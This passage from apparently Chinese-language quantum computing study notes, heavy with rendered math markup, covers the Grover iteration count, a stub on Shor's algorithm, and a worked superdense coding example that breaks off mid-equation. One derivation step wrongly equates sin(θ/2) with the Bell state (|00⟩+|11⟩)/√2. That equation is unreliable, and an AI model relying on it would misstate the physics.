class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mclose">⟩</span></span></span></span></span></p><p>我們目標是讓操作完的量子態接近 y 軸，即</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><mn>2</mn></mfrac><mi>θ</mi><mo>≈</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac{2k+1}{2}\theta \approx \frac{\pi}{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>當資料量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span> 很大時，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>θ</mi></mrow><annotation encoding="application/x-tex">\theta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span></span></span></span> 會很小，因此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mi>θ</mi><mn>2</mn></mfrac><mo>≈</mo><mi>sin</mi><mo>⁡</mo><mfrac><mi>θ</mi><mn>2</mn></mfrac><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{\theta}{2} \approx \sin{\frac{\theta}{2}} = \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mop">sin</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>故可得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>k</mi><mo>≈</mo><mfrac><mi>π</mi><mn>4</mn></mfrac><msqrt><mi>N</mi></msqrt><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><msqrt><mi>N</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">k \approx \frac{\pi}{4}\sqrt{N} = O(\sqrt{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9755em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span><span style="top:-2.9355em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.0645em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2255em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9755em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span><span style="top:-2.9355em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.0645em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h2 id="shor-algorithm" tabindex="-1" id="Shor-algorithm">Shor algorithm</h2><p>好可惜喔這上課沒講，改天來研究看看，但我可能要先去把傅立葉轉換那 part 補起來XD。</p><h1 id="%E9%87%8F%E5%AD%90%E9%80%9A%E8%A8%8A" tabindex="-1">量子通訊</h1><h2 id="superdense-coding" tabindex="-1" id="Superdense-coding">Superdense coding</h2><p>可以用一個量子位元傳遞兩個古典位元的資訊。ㄟ而且這已經被實驗驗證了。</p><p><img src="superdense_coding.jpg" alt="superdense_coding.jpg"></p><p>用一個例子來示範就好，其他可以自己試。比如 Alice 今天要傳「01」</p><p>第一個 bit 是 1，所以他要執行 Z，第二個 bit 是 0，所以什麼事都不用做。<br>這樣 Alice 做完會是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover><mtext> </mtext><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi></mrow></mpadded></mover><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>Z</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{} 00 \rangle \xrightarrow{H_{q_0}}\space\xrightarrow{CNOT} \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right) \xrightarrow{Z_{q_0}} \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3503em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace"> </span></span><span class="base"><span class="strut" style="height:1.1113em;vertical-align:-0.011em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">C</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span><span class="mord mathnormal mtight" style="margin-right:0.0278em;">O</span><span class="mord mathnormal mtight" style="margin-right:0.1389em;">T</span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0715em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>Bob 接著反過來操作：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi></mrow></mpadded></mover></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>=</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>⊗</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo 